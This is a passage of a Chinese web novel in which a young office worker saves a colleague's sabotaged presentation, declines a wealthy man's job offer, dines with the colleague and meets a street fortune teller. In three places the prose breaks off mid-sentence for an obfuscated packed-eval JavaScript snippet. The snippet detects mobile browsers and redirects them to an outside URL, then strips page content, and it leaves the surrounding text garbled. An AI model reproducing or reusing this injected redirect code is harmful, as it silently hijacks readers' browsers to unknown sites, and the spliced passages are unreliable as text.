总监一愣,被驳了面子有点挂不住脸,外加可能是“关系户”的身份加持,还是劝她接下姜与荷。但她仍是不为所动,坚决拒绝。 僵持之下,有个看着四五十的中年大叔出来当和事佬:“小英最近确实是太忙了,一直加班呢,让新员工跟着我吧,先让她上手工作,帮着分担点,其他的以后可以再学嘛。”总监也就坡下驴,鼓励了姜与荷几句就离开了。 姜与荷在一边很是尴尬,她猜想那位“小英”应该挺讨厌关系户的,以后她的日子估计不好过。那位中年大叔看出来了她的不安,开解她道:“你别多心,小英不是针对你,她说话就是这么直,最近她也是真的太忙了,马上有个重要汇报呢。” 姜与荷点点头,心里有点不以为意,觉得就是安抚她的客套话。 这位大叔——也是她未来的“师父”,跟她自我介绍:“我叫张牛,你叫我老张就行,你先跟着我熟悉下部门工作吧。” “嗯嗯,”她想锻炼下社交能力,和人套套近乎,跟中年人谈孩子总没错吧,“前阵子高考呢,张工您孩子是不是也快参加高考了呀。” 老张好脾气地笑了笑:“我三十五,还没结上婚呢。” ……好恨自己多嘴,姜与荷感觉到自己的脸已经红温了。她决定放弃自己不擅长的社交领域,把“多说多错”四个字刻烟吸肺。 尴尬之余,从老牛……不,老张稀疏的头顶上,姜与荷仿佛照见了自己牛马的未来…… 还能怎么办,撸起袖子加油干呗。 正式上班后,姜与荷慢慢发现老张说的不是假话,那位小英——周英然女士,确实对她本人没什么意见,单纯就是想专注手头工作,不想分出精力干别的。 不止她,其他员工对她也没有她预想中的排挤,与其说友好,更像是不在意。 也是,这么庞大的公司,塞进来的人绝对不止她一个,大家肯定都见怪不怪了,谁会来关注她这个小卡拉米,也就她自己做贼心虚。 反而是老员工周英然,从那些她在时的沉默、她不在时的闲话以及工作上的不配合……姜与荷感觉她好像才是被排挤的那个。 对于这些现象她私下问过老张,他也很是无奈:“小英太拼了,又太出色了,做的几个方案都很得上面领导的赏识,节目上线的效果也好,连带着我们总监都得脸,都传她马上就要升职了。” 哦……怪不得总监对她这么忍让。姜与荷有点了解了,同一个部门的,你太出色,不就显得别人太平庸了吗? 部门里热爱加班热爱卷的人不少,但是大部分人的卷是无效卷,只是“看起来很卷”而已;而周英然的卷,是有效的卷,卷出了风采、卷出了成果。 姜与荷简直梦回高中时代,仿佛看到了当年轻松的学神、勤奋的学霸、和瞎忙的npc们。 “那你怎么不眼红啊?”刚问出口,她马上为自己的愚蠢感到绝望。 老张倒是毫不介意她的冒犯:“他们都是拖家带口的,要还房贷要交小孩补课费,压力都大着呢。我孤家寡人一个,一人吃饱全家不饿,在这也没买房,就等着哪天被优化了回老家逍遥呢,我在意那些干嘛。” “论心胸,还得是我们单身狗啊。”姜与荷真心觉得老张的现在就是她的未来,不免有些英雄惜英雄之感。 “我是大限将至了,你还早着呢,不打算拼一拼?” “您看我是那块料吗?” “……” “……” “……先去把活干了吧。” “好嘞!” 媒体娱乐部创立得比较晚,是观声较为薄弱的一块。目前主要业务是在线综合媒体平台星云视频,包含了影视、综艺、动漫等多种类型。虽然上线五年至今还未盈利,但是好在观声底子厚,烧得起。姜与荷刚进来,还只能跟着老张做点辅助工作。好在她excel用得炉火纯青,帮人干活还是没问题的。 她很庆幸刚进部门就由老张带,这个跟她一样没啥事业心的躺平派不爱表现也不爱接活,更不会push姜与荷,有什么活都是大家分着做,还传授了她许多宝贵的摸鱼经验。 感动之余不免有些后怕,要是当时周英然真的接下了她,这好日子她可就摸不到了。 优哉游哉地过了一段日子,姜与荷除了老张,和部门里的其他人仍然处于似熟非熟的阶段。没办法,她不是会来事的人,别的同事更没有了解她的兴趣。 这里的办公室很大,人很多,也没有什么固定的团队。一个项目来了抽几个人来做,项目结束了就随之解散,等到了下一个项目又会换一批人。同事之间的关系本就淡薄,相处一年都没说上几句话的大有人在,更遑论新来的姜与荷。 要问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486733|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对此有何看法,那就是……太棒了! 大家都专注自己的事,没人搭理她,不需要什么累赘的社交,有活就干,没活摸鱼,这还不算天堂吗?一想到攒够100万就要离开,姜与荷竟然生出了几分不舍……要不调高点目标金额? 这天事有点多,姜与荷下班已经是11点了,走出办公室时候扫了眼,发现周英然还在位子上加班。她这段时间加班特别狠,有几次都是直接睡在办公室,姜与荷都怕她像新闻报道里那样突然倒地不起了。 听说是下周有个特别重要的会议,所以她加班加点在做手上的综艺项目。 不得不再次强调她的强和卷,她不喜欢和别人一起做事,可能是看不上别人的干活效率和质量,都是单打独斗,一个人接一个项目组的活,关键还都做得很好。 枪打出头鸟,再加上她是直来直去的脾气,批评别人也不留情面,这就导致别的同事们都看她非常不爽,有意无意地找机会给她使绊子。 但是她看起来并不在意,毕竟猛兽总是孤行。 姜与荷这天来得有点晚,刚踏入办公室,正庆幸没撞到总监,下一秒就感觉人好像少了很多。观声上班时间是十点,但实际上是弹性工作制,因为晚上普遍加班,所以早上晚来会也不要紧。但这都快十一点了,迟到的未免有点多了。 发生甚么事了? 老张及时给她解惑:“他们去紫庭开会啦。” “什么会啊还要特意去紫庭开?” 紫庭是海城的顶奢酒店,位于市中心,姜与荷自然没去过,但也听说过它的鼎鼎大名。就是离公司这边确实远了点,过去开会也是挺折腾的,要是碰上高峰期,开车一个小时都到不了。 “这我就不清楚了,早上9点半才通知的。反正不止我们部门,公司里几个重要项目的人员都去了。” 反正是和她的级别无关的事,姜与荷走向茶水间,准备去泡杯咖啡味奶茶,开始上工。 观声在福利待遇上很大方,除了从早饭管到夜宵、涵盖中西餐的美味食堂,茶水间里各类饮料、茶包、咖啡豆等也是满满当当,每日还有从高端连锁水果店订购的新鲜水果。虽然知道这些都是资本家的小把戏,姜与荷还是狠狠心动了。 她看着手机上的教程,打算调一杯葡萄气泡咖啡。随便抓了包豆子倒入咖啡机,接了咖啡液后加入果汁和气泡水,再剥两个葡萄进去意思一下吧……失策,忘记先倒冰块了! 正拿着一勺冰块小心翼翼地放进杯子时,她听见有两个人聊着天进来了。是一男一女,语气都带笑意,看起来心情颇好的样子。 “……这次看她还怎么得意。” “可惜不能亲眼看看她打开ppt时的表情。” “哈哈哈哈哈哈……” 这俩人笑得太开心,都没注意到在角落里捣鼓的姜与荷。也可能是她今天穿着米灰色的T恤裤子,乍一看和台面融为一体。 “万一我们的周小姐能脱稿念方案呢?” “哎哟那也太厉害了吧?让股东们看她一个人对着空气表演吗?” “哈哈哈笑死了……”俩人拿了点饮料和零食,很快出去了。 周小姐……周英然??! 9. 勇救周英然 姜与荷一个不留神,手上的冰块一下全滑进了杯子里,溅得她衣服上星星点点的咖啡渍。她丝毫没有在意,动作迟缓地端着这杯自制饮品离开茶水间,慢慢踱回了自己的工位。 她端着杯子坐在椅子上发了一会呆,然后站起身,挪到老张边上:“你有小英姐的电话吗?” “有啊,怎么啦?” “先发我一下。” 姜与荷没有多说什么,老张也没多问。拿到电话后她从楼梯间爬到了11楼,那里有个休闲用的露台,桌椅设施很齐全。很好,现在没人。关上露台的玻璃门,她面向室内拨通了电话。 如果她没接,那大概率已经无法挽回了。 “嘟——嘟……” 电话很快接通了:“你好。” “额……小英姐,我是姜与荷。我想问下你们那个会议结束了吗?” “没有,推迟到12点了。” 现在已经11点15了。 “你有看过今天要展示的ppt吗?” 对面没有回复,只传来一阵键盘敲击声。 “我的ppt被人替换了,连u盘的备份也是。”周英然的声音依旧冷静,但不可避免地带上几分怒气。 “你这些资料都在你工位的电脑里吗?” “都在,但是也可能被人替换了。” “那……你内网的邮箱里有发送过吗?”已发邮件里的总没法做手脚了。 “有,我把账号发给你。” “好。” 挂断电话,姜与荷先在手机上叫了车,然后迅速溜回自己的工位,进入周英然的账号下好了她需要的资料。拔下u盘,她跟老张说身体不舒服,可能发烧了,想去医院看看,老张正在摸鱼刷手机,头都没抬,摆摆手让她快去快回。 下楼没多久,叫的车就到了,她赶忙冲上车:“去紫庭!麻烦快一点!” 司机闻言,墨镜一戴,油门一踩,利落掉头向市中心奔去。 这位师傅看着像是本地老油条,还是个急性子,能插队绝不排队,能超车绝不等待,还熟识各种隐蔽近路,姜与荷心下稍安,感叹今天运气真不错。 估计是看她脸色焦急,师傅一边疯□□作方向盘,一边用蹩脚的普通话劝她:“小姑娘定定心,弗要急呀,你急么也是在车上,又飞不出去的咯,爷叔开车么你放心好了。” 姜与荷连连点头,她看着地图软件上离紫庭越来越近的光点,心里安定了许多。现在距离12点还有10分钟,而她距离紫庭只有一公里,按照汽车的速度,时间绰绰有余。 然而下一秒她就知道了什么叫世事无常。前方不知是什么活动,堵得水泄不通,饶是车界老油条也毫无腾挪空间。虽说市中心堵车也正常,但这是工作日的中午啊!工作日!堵成这样过分了吧! 眼看着毫无通车的迹象,姜与荷心急如焚。实在等不下去了,她心一横,开了车门准备跑过去。 车里的老爷叔一愣,摇下车窗对她喊:“你自己跑的,订单不能取消啊!” 姜与荷顾不上回应,只是埋头向前奔跑。她现在好恨昨天把运动鞋洗了的自己,脚上这双平底单鞋越跑越觉得难受,脚底磨得都要起水泡了。 救命啊,她从小到大最讨厌的运动就是跑步了! 让人难受的溺水感又来了,她跑得上气不接下气,逐渐呼吸困难。实在受不了,她停下来喘了会气。休息了不到一分钟,她又开始奔跑。 其实她也说不清自己为什么要为了一个几乎陌生的人这么拼命,为什么呢? 可能因为虽然她自己是条咸鱼,但也喜欢看飞鸟翱翔吧! 前方终于看到了紫庭的大门,门前还停着一溜的黑色豪车,有很多人在门口迎接。肯定是这里了!她心头一喜,精神一振,一鼓作气冲进了大堂,打眼就看到了站在里侧的周英然,正看着门外面露焦急。 她冲过去把u盘往她手上一拍,对方深深看了她一眼,没有多言,立马转身跑向电梯。 紧绷的神经突然松懈下来,姜与荷咽了咽口水,感到喉咙一阵干疼。她现在实在是太累了,什么都顾不上,扶着旁边摆放着巨大花艺盆景的桌子就准备往地上一坐,先续个命再说。哪知道刚蹲到一半,就被人提着后领拎起来了。 身后传来一个清冽的声音:“剧烈运动后不要立刻坐下。” 这声音好像有点耳熟……姜与荷没多想,只以为是酒店保安,回过身刚想说句不好意思,下一秒就被吓得气都忘记喘了…… 来人居然是裴慎如。 这是什么惊悚片啊! 她并不习惯受人恩惠,也不懂该怎么感谢才算妥当。所以对于这位帮了她大忙的人,她反而有种回避心态,总觉得不碰到面就不会尴尬了。 她一时不知道说什么好,是该说抱歉还是该说谢谢呢……她是不是挡到人家路了,要不赶紧走开?看着裴慎如背后乌泱泱的一群西装人士,她识趣地往边上挪。 “你陪姜小姐散会步,再带她到兰园休息。”裴慎如转头吩咐一位酒店的接待小姐,然后便大步离开。 “不用、不用了……”姜与荷回绝的话被甩在他的背影之后。那边早有人开好了电梯,他们一行人很快消失在电梯门后,大厅里又变得空空荡荡。 正不知如何是好,旁边就传来一个甜美的声音:“姜小姐,请您跟我去花园好吗?”接待小姐笑盈盈地看着她。 姜与荷不是一个擅长拒绝的人,何况是这么温柔漂亮的女孩子。她不想令人为难,就跟着她慢慢走过去。这位接待小姐很专业,边走边和她介绍酒店里的各处景观。 紫庭是中西合璧的建筑风格,把奢华与雅致结合得浑然天成。一路走去,脚边有绣球玉簪,抬眼见芭蕉修竹,庭院设计颇有中式园林的意境。 到了一处小院,门口挂着“兰园”的牌子。接待小姐引她进去,熟练地为她泡茶:“这是今年新制的明前碧螺春,请您品鉴。”她递过来一只剔透精致的玻璃杯,里面的茶叶旋转舒展,仿佛正在跳舞的绿色精灵。 “谢谢。” 姜与荷接过轻啜了一口,发现这酒店居然没糊弄人,确实是货真价实的明前碧螺春。低头看了看,满杯都是芽尖。采这玩意最是费时费力,她和姜老太两人采一天也不一定能出一斤干茶。 “裴先生希望您在这里等他一下,会议结束后他会过来。我不打扰您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486734|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息了,有任何需要请按这个按钮,我们会马上过来为您服务。”接待小姐指给她按钮的位置后颔首告退。 看这架势,她走是走不了了,那就躺下享受呗,她还没坐过这么舒服的沙发呢。这种茶叶她跟姜老太平时根本舍不得自己喝,都要留着卖钱的,今天居然可以白嫖,那必须多喝点! 她横躺在雪白柔软的沙发上,只觉每条弧线都完全贴合她的身体,她被温柔地包裹住,又被稳稳地托举着。有一瞬间闭上眼甚至感受不到沙发的存在,只觉得自己在乘着一朵云随风流动。 她刚想搜下这沙发怎么卖的,下一秒就放下手机,被自己这念头逗笑了。 手边的茶几上摆放着几盒茶点,桌上还点缀了两朵开得正盛的牡丹。姜与荷正疑惑季节对不上,就发现是用面粉做的假花。摸不准这是不是用来吃的,她也就没好意思下手。 既来之,则安之,开吃! 裴慎如进来的时候,看到的就是躺在沙发上刷着手机、吃得不亦乐乎的姜与荷。糕点的碎屑落了一点在她的脖颈里,因为躺着的姿势还挤出了点圆润的双下巴。 姜与荷吃完一块想再拿的时候,眼角余光终于发现门口多了一个人。扭头和裴慎如四目相对,她愣了两秒才意识到自己现在还躺在沙发上。 她立马从沙发上蹿起,刚才吃的茶点不可避免地掉了点碎屑,现在随着她的动作,有些落到了地毯上,有些还沾在衣服上。她低头看看自己混杂了咖啡渍和糕点渣的T恤衫,此刻的心情和这件衣服一样惨不忍睹。 好像每次碰到裴慎如自己都会出丑,她真的怀疑他们俩八字不合,命里犯冲,还只冲自己一个。 罢了罢了,这就是受人恩惠的代价吧,反正以后也不会跟他有什么交集了。 裴慎如面色如常,点头示意之后在姜与荷对面坐下。姜与荷赶紧擦擦嘴,忙不迭地收拾台面,还把那两朵她没吃的牡丹从桌子边边挪到了桌子中央。 他没有寒暄,直截了当地说:“你可以来我身边工作。” 啊??? 姜与荷被他这话问得脑内cpu暂时过载。 也许是看她满脸写着“不懂你在说什么”,他再次开口:“周英然小姐的资料是你在会前才送到的。” “是的。” “周小姐不像粗心的人,我猜是你们的同事做了一些不太好的行为。” “嗯……算是吧。”姜与荷知道在他面前撒谎没有意义。 “如果你无法应对这样的环境,可以来我身边工作。” 原来是这样…… 大哥,麻烦你以后讲话不要这么省略这么多,容易显得别人很蠢…… “没事的,同事们大多还是挺好的,不用再麻烦你了,谢谢你的好意。”姜与荷直接拒绝了。 “你可以领个清闲的职位,薪资会比你现在的公司丰厚许多。” 你就拿这考验干部??? 这……这可让她如何是好啊…… “……我还是挺喜欢现在的工作的,不用换了。”姜与荷思虑再三,还是艰难地拒绝了。 分手都没有这一刻痛。 她感觉自己的心在滴血…… 10. 婉拒 虽然裴慎如给她画了一个梦想中的大饼,但是观声的工作她还能厚着脸皮接了,催眠自己上班当牛做马,拿工资天经地义。而再次接受裴慎如的馈赠,饶是她这么现实的也觉得太不好意思了。 他这次开出的条件,就差把“拿钱不干活”直接写出来了。虽然她每天都在做梦能过上这样的生活,但是真的碰上这种机会,她反而感觉到巨大的压力和不安。 说白了,裴慎如帮她,完全是看在沈求章的面子上。 也许是她干脆利落地分手,没有阻碍沈求章的前途,让裴慎如对她印象还不错,所以愿意给她提供一些小小的帮助。这些帮助对他来说可能不值一提,但对姜与荷来说,都是重要到足以影响她人生的机遇。 她的人生经历教她,做人一定要知足。她和沈求章的故事已经结束了,她本就不觉得自己被亏欠了什么。观声的工作于她来说已经是额外的惊喜,她不应该再利用沈求章的情面获得任何好处。 对于自己的初恋,她罕见地坚守着一点尊严。 被拒绝了两次的裴慎如并没有表现出任何不悦,他点点头:“我尊重你的想法,如果以后有任何困难,都可以找我。” “嗯嗯,好的。” 姜与荷客套了一下,正等着他掏出名片,没想到他掏出了手机,并打开了微信示意她扫二维码。 这么与时俱进的吗……姜与荷一边脑内循环着“大人!时代变了”一边打开手机,加上了他的微信。 “已经替你请过假了,你可以安心休息,想回去的时候会有人送你。”说完,裴慎如便转身离开。 “哎,不用……”她话音未落,人影早已不见。 她哪还呆得下去,马上就走又怕再撞到裴慎如。坐立难安地等了半个小时,她才往外面走去。刚到兰园门口,就见到刚才那位接待小姐迎了上来:“姜小姐,需要现在为您安排车子吗?” “不用了,我自己打车吧……” “裴先生吩咐我们务必送您回去。”接待小姐美丽的脸上露出了苦恼的神色。 “额……那就麻烦你们了。” “请随我来。”她笑容可掬地带领姜与荷去了一个侧门,有一辆姜与荷不认识的黑色轿车停在那里。 “这里能来的人比较少,您不用担心会被人看到。”她弯腰为姜与荷拉开车门,在车辆发动后与她挥手道别。 一般来说,姜与荷不认识的牌子要么特别便宜,要么特别贵。看看这辆车的内饰,应该属于后一种。 后排的空间非常宽敞,真皮座椅柔软舒适,姜与荷却坐得并不舒服。她一路甚至都没有心情玩手机,只是看着车窗外飞速接近又飞速离开的高楼大厦。直到车子停在她的公寓楼下,她才有了点回到真实世界的踏实感。 她不打算回公司了,明天就跟领导说她发烧在医院挂水吧。眼前的烦恼是,她这件脏兮兮的上衣还能不能洗干净。 第二天上班后,并没有人来过问她昨天的缺勤。可能是根本没人发现她消失了大半天吧,这就是做一个没有存在感的人的福利,姜与荷在心里给自己比耶。 明天就是期盼已久的周六,她计划好了要睡个大懒觉,想一想就感觉人生还有盼头。 周五的晚上她肯定不会加班,到点打完卡后她就开始点外卖。刚回到公寓躺在床上,就接到了一个陌生号码的来电。想挂掉又觉得好像有点眼熟,最后还是接了。 “请问你是?” “……我是周英然。” 哎呀,上次打她电话后没存,尴尬了尴尬了。 “明晚6点赏脸吃个饭吗?在岸边酒屋。” 岸边酒屋是一家老牌餐厅,和它的招牌菜同样出名的是它的私密性,只有包间没有大厅。 姜与荷知道这是为了昨天的事道谢,但她最希望的是大家都当作那件事没发生过。可惜她想了半天也没想出个完美的推拒理由,也不想刚熟一点就驳了周英然的面子,最后还是答应了下来。 周六晚上,她在6点50分到达预定的包间。周英然已经在里面了,见她来了,递过菜单让她点菜。 这是一间西餐厅,姜与荷以前和小碗来吃过一次,她点了松露奶油培根意面和芒果鲜虾沙拉就把菜单递还给了周英然,她再加了几个菜,侍者就拿着菜单出去了。 桌上已经放着一瓶红酒,周英然熟练地用开瓶器开酒:“以前去法国调研,勃垦第一家酒庄老板送的珍藏,来一点?” “好啊。”姜与荷点点头。 拿起高脚杯轻晃,姜与荷已经闻见一股浓郁的果香,入口是她没体验过的丝滑柔顺。她虽然完全不懂红酒,但也知道这是和她以前喝过的那些不一样的高级货。 可惜了,给她喝完全是暴殄天物,因为她根本品不出什么滋味,所有的酒在她眼里都是不太好喝的饮料…… “紫庭的汇报直接关系到我的工作前途,你这次帮了我大忙,非常感谢你。”周英然向她郑重道谢。 姜与荷摆摆手:“没事没事,就送个资料而已。”这么认真,搞得她怪不好意思的。 “你应该知道很多同事都讨厌我吧?不怕帮我忙被针对吗?” “所以我是偷偷溜出来的,老张都不知道。”她颇有些得意。 “以后在公司还是装作不认识吧。我不常受人帮助,所以也不知道该怎么感谢你,”周英然从包里掏出个大红包递给她,“我觉得还是这种方式比较好,你应该也比较喜欢。” 姜与荷看着那个厚度,连连摆手:“不用,这也太多了,我打车没这么贵……” 周英然直接把红包塞入她放在一旁的包包里:“我不太会客套,别浪费时间了,快吃饭吧。” 姜与荷本想推让,脑子里却突然冒出来她刷到的过年为送红包互相撕巴的视频,控制不住笑了出来。 算了,不浪费力气了,你硬要塞的,可不算我主动收哦~她美滋滋吃了一大口奶油意面。 垫了垫肚子,姜与荷跟她闲聊:“你做事一直这么拼吗?都没看到过你摸鱼。”周英然的加班是货真价实,姜与荷的加班比起来就是路边摊的豆浆,不知道兑了多少水。她一直很佩服周英然,长期这么高强度的工作都没抑郁。 “因为我人聪明,又爱钱。”周英然坦坦荡荡。 ……真是个无可反驳的理由啊。 周英然几杯酒下肚,也打开了话匣子,她跟姜与荷聊了很多。她出生在北方一个落寞的小城,是家中的独生女。父母都是下岗工人,靠打点零工做点小生意养活她。 虽然家里穷,但是父母很爱她;虽然父母很爱她,但是家里太穷了。 她也不知道自己为什么会对金钱有这么大的渴望,明明她的父母都是知足常乐的老实人,让她从小生长在一个虽然清贫但是温暖和睦的家庭里。也许是她太早慧了吧,幼儿园的时候她就从老师的态度里懂了钱权意味着什么。 所幸上天给了她一颗聪明的脑瓜,让她在那个偏远小城的高中也能考上首都的顶级名校,更是幸运地踩中了时代风口,进入了观声工作。 你要问为什么不尝试创业?因为她的家庭承担不起任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486735|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何一点点风险。 现在,她已经在老家村里给父母翻建了大别墅,又在城里全款买好了一套电梯房,接下来她准备在一线城市也买一套房子,不一定是海城,看以后的发展。 对此,姜与荷只有仰望的份,她到目前为止的唯一成就就是给姜老太的老宅翻建工程出了25万,并凭此一战成名,借着姜老太堪比大喇叭的嘴,成为附近知名的“别人家的孩子”,声名甚至远播邻镇…… 攀比是万恶之源,攀比是万恶之源……她在内心疯狂自我安慰。 酒过三巡,周英然脸上已经飞上红霞,姜与荷却依然面不改色。实际上她喝得比周英然多得多,周英然是小口品啜,而她是时不时来上一大口,仿佛是喝葡萄汁一般平常。 周英然忍不住问:“你喝多少才会醉?” 姜与荷回想了一下:“不知道哎,我很少喝酒。” “你最多喝过多少?” “嗯……好像三瓶红酒?”那次是她刚入职南山不久,参加公司的酒局。 “这你都不醉?”周英然也不禁瞪大了眼睛。 “就稍微有点困,睡了一觉就好了。” “你这酒量,完全是职场外挂啊。”周英然笑了起来。 “没用的,我喝酒不上脸,浪费了。”那次酒局过后,再也没人喊过她。 “怎么说?” “我感觉……他们喜欢看的是别人明明喝不下,还逼自己硬喝下去的样子。”而不是姜与荷这种无论被灌多少酒都面色如常、反过来看着他们丑态百出的人。 酒桌上喝的从来都不是酒,而是权力。敬酒敬的是服从,劝酒劝的是掌控。吐到进医院,表的是忠心;喝到乱说话,递的是把柄。上位者喜欢看的,是下位者在酒桌上面色为难,却不得不服从的样子。 而姜与荷虽然听话,让她喝就喝,但她喝酒却跟喝水没什么两样,脸蛋自始至终都白皙干净,面色如常,到最后还能转着清澈的眼珠子好奇地观察眼前这堆躺得横七竖八、吐得满脸胀红的人,这谁能高兴? 我叫你来陪酒助兴,结果你来文明观猴了?到底谁是领导??? “哈哈哈哈哈……”周英然笑得上气不接下气。 笑完了,她戏谑地问姜与荷:“你觉得我长得怎么样?” 姜与荷第一次认真观察她的长相:“嗯……是我们国家的热门长相。”她努力斟酌着用词。 “哈哈哈……你直接说我长得普通就行了。” 她长得确实普通,甚至连普通都不太算得上。寡淡粗糙的五官配上了略显男相的方颌,还剪了一头利落的短发,让人实在生不出丝毫杂念。 她在公司里也没少被人背后嘲笑过外貌,在事业上被女性比下去的人,总爱在女性的外表上找回场子,无论她是美丽还是丑陋。 “小的时候我总是容易因为外表伤心,但工作后却觉得这是我的幸运,”她认真地说,“我不需要挣扎就可以避免走一条我不想走的路。” “你也是幸运的,因为你很漂亮。” 姜与荷难得出门,时间又足够,所以她今天化了个淡妆,消耗点过期化妆品,又挑了条粉绿色的连衣裙。稍微打扮一下,她倒真的人如其名,清新柔美如雨后初荷。可以想见,如果她没有这千杯不醉的本领,作为一个毫无背景的人,她的职场道路肯定会比现在痛苦百倍。 姜与荷笑笑:“人总不能倒霉到底吧,怎么也得让人喘口气呀。” “为我们两个幸运的人干一杯!” “干杯!”姜与荷一饮而尽。 11. 偶遇半仙 一瓶红酒差不多见底,菜也吃得七七八八,姜与荷感觉自己真的吃不下了,毕竟酒大多是她喝,菜也大多是她吃。她打算等会走走路,消消食。 周英然结完帐后跟姜与荷说:“我先走,你在这呆会再出去吧。” 姜与荷看着她酡红的面色和略显摇晃的身形,有点担心:“我送你回去吧,你这样不行的。” “你不是怕被同事看到我跟你有来往吗?” 被直白地说破小心思,姜与荷小脸一红:“没办法嘛,我又没你这么强,我可是很脆弱的。” 飞鸟可以天高海阔任我行,她这条咸鱼可是得一直在坑里的。 “那你还送我?” “也不一定会碰上啊,而且你要是路上出了事,我要吃官司的。” “……行吧。” 她扶着东倒西歪的周英然艰难地打了车,又艰难地送她上了楼进了家门,果然喝醉的人会特别重。她就搞不懂了,酒哪有奶茶好喝?一个个的那么菜还那么爱喝。 姜与荷摇摇头,坐电梯下了楼。这里距离最近的地铁站约有2公里,现在9点不到,路上人还是很多,正好适合走过去,当作饭后消食。 出小区不远就是一个公园,跳广场舞的大爷大妈们兴致正浓,一群小孩子活力十足地跑跳笑闹,只有坐在边上的爸爸妈妈们一脸的死气沉沉,在音响声和孩子们的尖叫声中刷刷手机。 有一些商贩在边上摆摊,卖什么的都有,水果、鲜花、幼儿玩具……居然还有个算命师傅,大晚上还戴着墨镜,很是扎眼。 姜与荷慢慢走过去,虽然她喜欢一个人呆着,但也难得地有点被这烟火气感染了,就停了下来,打算逛一会再走。她刚吃饱喝足,对于吃的没什么兴趣,就去看了看卖花的小车。现在这个点都是卖剩下的尾货,鲜花状态都有点萎靡,不过价格确实优惠很多。 这个小车上鲜花种类还挺多,还有价格非常合适的小盆栽。姜与荷正在选择恐惧中,就听到边上的算命师傅突然吟了两句诗: “夕阳连雨足,空翠落庭阴。 看取莲花净,应知不染心。” 还挺有文化……姜与荷在内心为他点赞。 “小姑娘,你生辰是否六月六?”他吟完诗,把脸转向了姜与荷。 姜与荷的第一反应是震惊,他的眼睛还看得见?!这个墨镜到底干嘛用的? 姜与荷的第二反应也是震惊,因为她的生日真的是六月六,不过是农历的。 “……是的。”她的内心在“装瞎骗子”和“诸葛神算”中反复横跳。 “六月六日荷花命,如何落后免沉浮。相逢即是有缘,在下就多嘴两句。”他抬起手,仿佛想捋一捋胡子,突然想起自己光溜溜的下巴,又半路放了下来。 “你近日财星微动,春风得意。但世事无常,福祸相依,夏走荷瓣随水流,气运消来邪祟近。你虽天性净直,但也需借大富贵气运,方可消灾无虞,保一家平安。” 姜与荷听得心惊胆战,这也太准了吧?她真就是刚跳槽加薪……邪祟是什么意思,阿飘吗?她虽然在大学里就成为了一名光荣的党员,是坚定的无神论者,但她可没说自己是无鬼论者啊! “小心七月半。”说完,这位半仙就施施然起身,拎着小马扎走了。 钱都不要???这事情就严重了啊……姜与荷打消了最后一丝对“新型诈骗”的怀疑,陷入了焦虑之中。早知道就打个车回家了,没想到走路还走出事了。 她现在的心情极为复杂,就像是去医院探病,结果自己被医生查出了问题,都不知道是算幸运还是倒霉。 她垂头丧气地往地铁站走,边走边琢磨。她认识的“大富贵”人士只有沈求章,但他早已远在大洋彼岸。至于裴慎如,她都不好意思说自己认识……况且她刚回绝他递出的橄榄枝,总不能厚着脸皮再找上门吧? 裴先生您好,我今天碰上了个算命先生,他让我来找您不然我会撞鬼??? 他可能会以为她有点精神问题,直接让观声把她开了……不行,此路不通。 而且她也确实不想再跟他打交道。虽然她跟裴慎如连话都没说上几句,但一见到他,脑子里就莫名其妙跳出来“伴君如伴虎”。可能是穷人的生存直觉吧…… 姜与荷看着微信里蓝天白云的头像,还是关闭了界面。这么阳光灿烂的照片,根本无法和裴慎如联系起来,照骗啊这是。 收起手机,她快步走去地铁站,现在她唯一的念头就是早点回家。不管明天怎么样,先睡一觉再说! 许是苦思冥想太消耗脑力,第二天她一觉睡到了快十一点。她躺在床上一边刷着外卖软件一边思考要不要约小碗出来吃饭——外出吃饭算是她们日常最奢侈的娱乐活动。虽然两人的收入都不低,但是姜与荷要攒钱,小碗家里好像负担比较重,所以她们平时都算比较节省的。 好在两人在“吃”上颇有共鸣,民以食为天,为了美食偶尔小小地奢侈一把还是可以的。毕竟吃进自己肚子里了,怎么也算不上浪费。所以她们有时会在假期约着一起外出探店吃饭,吃完逛逛街(纯逛不买),然后各回各家。 姜与荷突然想起来,她曾经刷到过一个算命帖,里面提过运势低迷时可以多去去人气旺盛的高档商场,因为那里的选址布局一般都是找了高人看过的,最是藏富纳贵之地。 姜与荷觉得自己一下豁然开朗。对啊,半仙又没说大富贵的必须是人!狭隘了狭隘了……她立马从床上坐起,打电话给小碗问她出不出来吃饭。 电话那头小碗的声音略显低落,还有几丝沙哑,和她说自己最近手头比较紧,就不出去了。姜与荷觉得她有些不对劲,有点不放心她,就说今天自己请客,再三喊她出来。小碗不好拒绝,还是答应了。 